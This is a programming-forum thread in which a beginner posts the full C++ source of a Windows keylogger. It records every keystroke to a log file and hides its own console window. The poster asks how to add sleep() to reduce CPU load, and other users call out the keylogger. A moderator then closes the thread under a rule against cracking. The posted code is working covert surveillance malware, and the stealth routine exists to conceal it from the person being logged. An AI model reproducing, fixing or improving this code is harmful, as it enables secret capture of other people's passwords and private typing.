How to get (sleep) to work with a program?

[RialnisMada]

Hello Cprogramming.com, this is my first post, and hopefully not my last post. I am fairly new to C++ and the whole programming game, but I would really like to learn it.

I saw a video the other day that helped me make a basic Key Logger. Yes, I know that this can be frowned upon, but I promise I won't use it against anyone over the internet! The issue that I was having was when the program was running, my computer was getting really noisy, so I assumed the CPU was being used alot. I heard about this (sleep) function that could help me out, but I don't know how to attatch it.

Here is my code:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <dos.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
    Stealth();
    char i;
    
    while (1)
    {
       for(i = 8; i <= 190; i++)
       {
          if (GetAsyncKeyState(i) == -32767)
            sleep(50);
            Save (i, "LOG.TXT");  
        }      
    }
    
    system ("PAUSE");
    return 0;
}
/* ********************************************** */
/* ********************************************** */
int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke ==2) )
        return 0;
        
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;    
    
    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == 64)
        fprintf(OUTPUT_FILE, "%s", "[==at==]\n");    
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]\n");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]\n");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]\n");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]\n");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]\n");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]\n");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]\n");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]\n");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]\n");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]\n");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else 
        fprintf(OUTPUT_FILE, "%s", &key_stroke);
    fclose(OUTPUT_FILE);
    return 0;
}
/* ********************************************** */
/* ********************************************** */
void Stealth()
{
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth,0);
}

Thanks alot, RialnisMada!

[scwizzo]

Sleep() is not the same as sleep().

[RialnisMada]

True that, but I'm pretty sure people understand what I mean...

[rags_to_riches]

I smell a keylogger...

[RialnisMada]

Honestly? I said in the description that I'm making a key logger. I know it's not cool to some people, but I think this is a big accomplishment, so can anyone help me or not?!

[laserlight]

Unfortunately, despite the good intentions, I believe that this goes against one of our forum guidelines:

5. Messages relating to cracking, (erroneously called "hacking" by many), copyright violations, or other illegal activities will be deleted. Due to the overlapping boundaries of code with malicious intent, and other legitimate uses of it, the moderators will assess each potential infraction on a case by case basis.

*thread closed*